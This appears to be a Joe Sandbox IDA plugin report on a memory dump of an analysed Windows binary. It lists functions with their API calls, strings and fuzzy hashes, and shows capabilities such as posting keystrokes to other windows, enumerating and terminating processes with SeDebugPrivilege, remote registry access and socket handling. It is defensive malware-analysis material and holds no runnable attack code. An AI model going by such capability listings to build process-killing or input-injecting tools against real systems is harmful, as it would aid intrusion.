ShowWindow.USER32(00000000,000000FF,00000000,00000000,00000000,?,001EE9A0,00000004,00000000,00000000), ref: 001EEBC1

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: fa0f6f292840ac98445be88520e1a278b7119c7c8ac0a5807881180e9e8a39d4
Instruction ID: 8847e620b230c0570d58734ea50f664a6a53af51ffc78e88dbe88763382e199a
Opcode Fuzzy Hash: fa0f6f292840ac98445be88520e1a278b7119c7c8ac0a5807881180e9e8a39d4
Instruction Fuzzy Hash: 2F410930604AC09AFB3967399CCCB3E7BD66F59315F69086DF08B86561D770A982CF11

Function 001ACDE6 Relevance: 13.6, APIs: 9, Instructions: 65sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 001AE138: GetWindowThreadProcessId.USER32(?,00000000), ref: 001AE158
Part of subcall function 001AE138: GetCurrentThreadId.KERNEL32 ref: 001AE15F
Part of subcall function 001AE138: AttachThreadInput.USER32(00000000,?,001ACD34,?,00000001), ref: 001AE166

MapVirtualKeyW.USER32(00000025,00000000), ref: 001ACE06
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 001ACE23
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000,?,00000001), ref: 001ACE26
MapVirtualKeyW.USER32(00000025,00000000), ref: 001ACE2F
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 001ACE4D
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 001ACE50
MapVirtualKeyW.USER32(00000025,00000000), ref: 001ACE59
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 001ACE70
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 001ACE73

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: 2e1d0dcb29837797b3d7a2beed4c9d67b377a3aa78226c586f9a0ed8e6a3eeee
Instruction ID: 28a03ae3da7ba03bf1032cc27329540efe52123b061a5993fcac24ca0bfd9194
Opcode Fuzzy Hash: 2e1d0dcb29837797b3d7a2beed4c9d67b377a3aa78226c586f9a0ed8e6a3eeee
Instruction Fuzzy Hash: BB1104B5510618BEF7102F609C8EF7A3E2EDB18764F120415F340AB0E0CAF26C90DAA4

Function 001CC604 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 232COMMON

Download Yara Rule

APIs

Part of subcall function 001AA857: CLSIDFromProgID.COMBASE ref: 001AA874
Part of subcall function 001AA857: ProgIDFromCLSID.COMBASE(?,00000000), ref: 001AA88F
Part of subcall function 001AA857: lstrcmpiW.KERNEL32(?,00000000), ref: 001AA89D
Part of subcall function 001AA857: CoTaskMemFree.COMBASE(00000000), ref: 001AA8AD

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000), ref: 001CC6AD
_memset.LIBCMT ref: 001CC6BA
_memset.LIBCMT ref: 001CC7D8
CoCreateInstanceEx.COMBASE(?,00000000,00000015,?,00000001,00000001), ref: 001CC804
CoTaskMemFree.COMBASE(?), ref: 001CC80F

Strings

NULL Pointer assignment, xrefs: 001CC85D

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: FreeFromProgTask_memset$CreateInitializeInstanceSecuritylstrcmpi
String ID: NULL Pointer assignment
API String ID: 1300414916-2785691316
Opcode ID: bb7a9afe939671c2e9b21ffa7439c363dcf5effdfe62fc52260446e97595d4db
Instruction ID: 387e5478b1bf5b3534a2db97a591e884f9b38e43a68555b41ed0a48208d15840
Opcode Fuzzy Hash: bb7a9afe939671c2e9b21ffa7439c363dcf5effdfe62fc52260446e97595d4db
Instruction Fuzzy Hash: 02913C71D00218ABDB10DFA4DC81FEEBBB9EF19750F20815AF519A7281DB709A45CFA0

Function 001D1AD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 163processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 001D1B09
Process32FirstW.KERNEL32(00000000,?), ref: 001D1B17
__wsplitpath.LIBCMT ref: 001D1B45

Part of subcall function 0019297D: __wsplitpath_helper.LIBCMT ref: 001929BD

_wcscat.LIBCMT ref: 001D1B5A
Process32NextW.KERNEL32(00000000,?), ref: 001D1BD0
CloseHandle.KERNEL32(00000000,?,?,00000002,00000000), ref: 001D1BE2

Strings

hE", xrefs: 001D1AED

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wsplitpath__wsplitpath_helper_wcscat
String ID: hE"
API String ID: 1380811348-3790321966
Opcode ID: 61097ab4cc8770646e5ca11f699a74a398080941509017e84b89f1a2200d7e57
Instruction ID: 5069c9a303d5c291a76a4351ca501f46bd8628f638ec94d0ac43bb11be95439b
Opcode Fuzzy Hash: 61097ab4cc8770646e5ca11f699a74a398080941509017e84b89f1a2200d7e57
Instruction Fuzzy Hash: B4518072508300AFD720EF24D885EABB7ECEF98754F00491EF58997251EB70EA45CB92

Function 001D9882 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 142windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 001D9926
SendMessageW.USER32(?,00001036,00000000,?), ref: 001D993A
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 001D9954
_wcscat.LIBCMT ref: 001D99AF
SendMessageW.USER32(?,00001057,00000000,?), ref: 001D99C6
SendMessageW.USER32(?,00001061,?,0000000F), ref: 001D99F4

Strings

SysListView32, xrefs: 001D98F8

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: MessageSend$Window_wcscat
String ID: SysListView32
API String ID: 307300125-78025650
Opcode ID: 9ade4ba141f69d60fb20fcbde64d5ba0a096d8e6cc8c2467b925de05f0a6fb7e
Instruction ID: 4a0c2634c15477ccaefbd0aa27c0c7f57f01972205a55c4174a1663014cef209
Opcode Fuzzy Hash: 9ade4ba141f69d60fb20fcbde64d5ba0a096d8e6cc8c2467b925de05f0a6fb7e
Instruction Fuzzy Hash: 1041AE71A00308AFEF219FA4C885BEE7BA8EF09754F10452BF589E7291D7719D84CB60

Function 001D1620 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 135COMMON

Download Yara Rule

APIs

Part of subcall function 001B6F5B: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,00000000), ref: 001B6F7D
Part of subcall function 001B6F5B: Process32FirstW.KERNEL32(00000000,0000022C), ref: 001B6F8D
Part of subcall function 001B6F5B: CloseHandle.KERNEL32(00000000,?,00000000), ref: 001B7022

OpenProcess.KERNEL32(00000001,00000000,?), ref: 001D168B
GetLastError.KERNEL32 ref: 001D169E
OpenProcess.KERNEL32(00000001,00000000,?), ref: 001D16CA
TerminateProcess.KERNEL32(00000000,00000000), ref: 001D1746
GetLastError.KERNEL32(00000000), ref: 001D1751
CloseHandle.KERNEL32(00000000), ref: 001D1786

Strings

SeDebugPrivilege, xrefs: 001D16A9

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: ea78998e0f3a4e7430563ff42678ee2592525fc5401b20f96fdfdc1811dcb8a1
Instruction ID: 689505f6893dc109d9fea39290cbec267b55d69e74e1dbe34b7e9d3e7c4483c6
Opcode Fuzzy Hash: ea78998e0f3a4e7430563ff42678ee2592525fc5401b20f96fdfdc1811dcb8a1
Instruction Fuzzy Hash: 2441BB75640201BFDB05EF64D8A5FBDB7A5AF64304F098009F90A9F392EBB49940CB41

Function 001B6237 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 81windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 001B62D6

Strings

blank, xrefs: 001B6258
stop, xrefs: 001B62A7
info, xrefs: 001B6277
question, xrefs: 001B628F
warning, xrefs: 001B62BF

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: 934231c94625c2b24d1a12b2d2e6ebdbdc3d0a6821efeda703c8eb6417e3e016
Instruction ID: d6422b8f9f677edbccb460ef1870a27c05584d9500d0a28f114182b068a6c0ce
Opcode Fuzzy Hash: 934231c94625c2b24d1a12b2d2e6ebdbdc3d0a6821efeda703c8eb6417e3e016
Instruction Fuzzy Hash: 7211E036708353BAFB055F54EC42DFE73AC9F36724B100069F505A66C2FBBC6A404568

Function 001B757B Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000066,?,00000100,00000000), ref: 001B7595
LoadStringW.USER32(00000000), ref: 001B759C
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 001B75B2
LoadStringW.USER32(00000000), ref: 001B75B9
_wprintf.LIBCMT ref: 001B75DF
MessageBoxW.USER32(00000000,?,?,00011010), ref: 001B75FD

Strings

%s (%d) : ==> %s: %s %s, xrefs: 001B75DA

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wprintf
String ID: %s (%d) : ==> %s: %s %s
API String ID: 3648134473-3128320259
Opcode ID: c9dbf453650a4fe8a80b41523e7bb72a14edd84d49b860b12bd30c98c5ea2bf0
Instruction ID: 3235c9c30c22cf38890617eb8e1f25bea93d92b14a8b49ab676c09f0b219ac6c
Opcode Fuzzy Hash: c9dbf453650a4fe8a80b41523e7bb72a14edd84d49b860b12bd30c98c5ea2bf0
Instruction Fuzzy Hash: 96011DF2904208BFEB11A7E4AD89EFA776CDB08305F004495F746E6051EA749EC48B75

Function 001D2A0A Relevance: 12.3, APIs: 8, Instructions: 251registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0017CAEE: _memmove.LIBCMT ref: 0017CB2F

Part of subcall function 001D3AF7: CharUpperBuffW.USER32(?,?,?,?,?,?,?,001D2AA6,?,?), ref: 001D3B0E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 001D2AE7

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: BuffCharConnectRegistryUpper_memmove
String ID:
API String ID: 3479070676-0
Opcode ID: 242b1a7a482d8b8f48c159ea29ddd7ce5e2227fd7dafe04a20a8a0e3acfba731
Instruction ID: 3288e394fabdaea2af0eeb4a683346b9129f02f5ab7b6d44b509b493f4e44c7c
Opcode Fuzzy Hash: 242b1a7a482d8b8f48c159ea29ddd7ce5e2227fd7dafe04a20a8a0e3acfba731
Instruction Fuzzy Hash: D1914771204201AFCB05EF14C891B6EB7E5BFA8314F14881EF9AA972A1DB75ED45CF42

Function 001C9A66 Relevance: 12.2, APIs: 8, Instructions: 247networkCOMMON

Download Yara Rule

APIs

select.WS2_32 ref: 001C9B38
WSAGetLastError.WS2_32(00000000), ref: 001C9B45
__WSAFDIsSet.WS2_32(00000000,?), ref: 001C9B6F
WSAGetLastError.WS2_32(00000000), ref: 001C9B9F
htons.WS2_32(?), ref: 001C9C51
inet_ntoa.WS2_32(?), ref: 001C9C0C

Part of subcall function 001AE0F5: _strlen.LIBCMT ref: 001AE0FF
Part of subcall function 001AE0F5: _memmove.LIBCMT ref: 001AE121

_strlen.LIBCMT ref: 001C9CA7
_memmove.LIBCMT ref: 001C9D10

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: ErrorLast_memmove_strlen$htonsinet_ntoaselect
String ID:
API String ID: 3637404534-0
Opcode ID: 1470f38604aa65ad4103ecba1351a76eb412d873d97efb2d49432f44495022e5
Instruction ID: ec557735f2f98d1fe10b73d6a523c57b2e980c4436f377b6b9518d0a351b534a
Opcode Fuzzy Hash: 1470f38604aa65ad4103ecba1351a76eb412d873d97efb2d49432f44495022e5
Instruction Fuzzy Hash: D281AC72504200ABC714EF64DC49F6BB7F9EBA4724F108A1DF55A9B292DB70DE04CB92

Function 0019B72C Relevance: 12.1, APIs: 8, Instructions: 118COMMONLIBRARYCODE

Download Yara Rule

APIs

__mtinitlocknum.LIBCMT ref: 0019B744

Part of subcall function 00198A0C: __FF_MSGBANNER.LIBCMT ref: 00198A21
Part of subcall function 00198A0C: __NMSG_WRITE.LIBCMT ref: 00198A28
Part of subcall function 00198A0C: __malloc_crt.LIBCMT ref: 00198A48

__lock.LIBCMT ref: 0019B757
__lock.LIBCMT ref: 0019B7A3
InitializeCriticalSectionAndSpinCount.KERNEL32(8000000C,00000FA0,00226948,00000018,001A6C2B,?,00000000,00000109), ref: 0019B7BF
RtlEnterCriticalSection.NTDLL(8000000C), ref: 0019B7DC
RtlLeaveCriticalSection.NTDLL(8000000C), ref: 0019B7EC

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: CriticalSection$__lock$CountEnterInitializeLeaveSpin__malloc_crt__mtinitlocknum
String ID:
API String ID: 1422805418-0
Opcode ID: 3a64336803dbf917521cd4fd8dad0bde70c80578e58cff3076be41b564eb3da5
Instruction ID: 4301aedbfeeb1985b188e243921c8d5a7f55a286bb27f36ea52e3ebce9452abd
Opcode Fuzzy Hash: 3a64336803dbf917521cd4fd8dad0bde70c80578e58cff3076be41b564eb3da5
Instruction Fuzzy Hash: 31414771E042159BEF14DFA8FAC83ACB7A4BF55735F118318E425AB2D1C7749841CB91

Function 001BA1B7 Relevance: 12.1, APIs: 8, Instructions: 100fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 001BA1CE

Part of subcall function 0019010A: std::exception::exception.LIBCMT ref: 0019013E
Part of subcall function 0019010A: __CxxThrowException@8.LIBCMT ref: 00190153

ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 001BA205
RtlEnterCriticalSection.NTDLL(?), ref: 001BA221
_memmove.LIBCMT ref: 001BA26F
_memmove.LIBCMT ref: 001BA28C
RtlLeaveCriticalSection.NTDLL(?), ref: 001BA29B
ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 001BA2B0
InterlockedExchange.KERNEL32(?,000001F6), ref: 001BA2CF

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection_memmove$EnterException@8LeaveThrowstd::exception::exception
String ID:
API String ID: 256516436-0
Opcode ID: a23a824bfbfd4dff170a0e044a5b0f00b31a43b88025f27bf45c9ca44a3e2ace
Instruction ID: 6dad54a1e2e68b239293bc94189c16b8bf290f20b9731f8ba8bae91a552b855a
Opcode Fuzzy Hash: a23a824bfbfd4dff170a0e044a5b0f00b31a43b88025f27bf45c9ca44a3e2ace
Instruction Fuzzy Hash: E6316F31A00105EFCF01EFA5DC85AAEB7B9EF49310B5480A5F904AB256DB70DA55CBA1

Function 001D8CDB Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 001D8CF3
GetDC.USER32(00000000), ref: 001D8CFB
GetDeviceCaps.GDI32(00000000,0000005A), ref: 001D8D06
ReleaseDC.USER32(00000000,00000000), ref: 001D8D12
CreateFontW.GDI32(?,00000000,00000000,00000000,?,?,?,?,00000001,00000004,00000000,?,00000000,?), ref: 001D8D4E
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 001D8D5F
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 001D8D99
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 001D8DB9

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 760b55318731a20bb29d666bc87c122942b7f18bd640619afd3fd49855ae4f24
Instruction ID: 62d18e1f98a94846c85223362f66c3dbb92e533d1a92c1115af0f07b69e5c043
Opcode Fuzzy Hash: 760b55318731a20bb29d666bc87c122942b7f18bd640619afd3fd49855ae4f24
Instruction Fuzzy Hash: E2315A72201614BBEB108F509C8AFFA3BAAEF49765F044055FE08DA291CB759881CB60

Function 001C1BFA Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 308COMMON

Download Yara Rule

APIs

Part of subcall function 001784A6: __swprintf.LIBCMT ref: 001784E5
Part of subcall function 001784A6: __itow.LIBCMT ref: 00178519

Part of subcall function 00173BCF: _wcscpy.LIBCMT ref: 00173BF2

_wcstok.LIBCMT ref: 001C1D6E
_wcscpy.LIBCMT ref: 001C1DFD
_memset.LIBCMT ref: 001C1E30

Strings

X, xrefs: 001C1E68
t:"p:", xrefs: 001C1E40

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: _wcscpy$__itow__swprintf_memset_wcstok
String ID: X$t:"p:"
API String ID: 774024439-221402397
Opcode ID: efbbebe2cbbb9d910a46dd42477fd2850605147d80f9d1824cf6864f3b1d5248
Instruction ID: d1b9126442e3750403f55245ef4b6323a76fa43ce8a4f8d569f897b705dc4def
Opcode Fuzzy Hash: efbbebe2cbbb9d910a46dd42477fd2850605147d80f9d1824cf6864f3b1d5248
Instruction Fuzzy Hash: CBC14F31504301AFC714EF64C895EAAB7F4BFA5310F14892DF89A972A2DB70ED45CB92

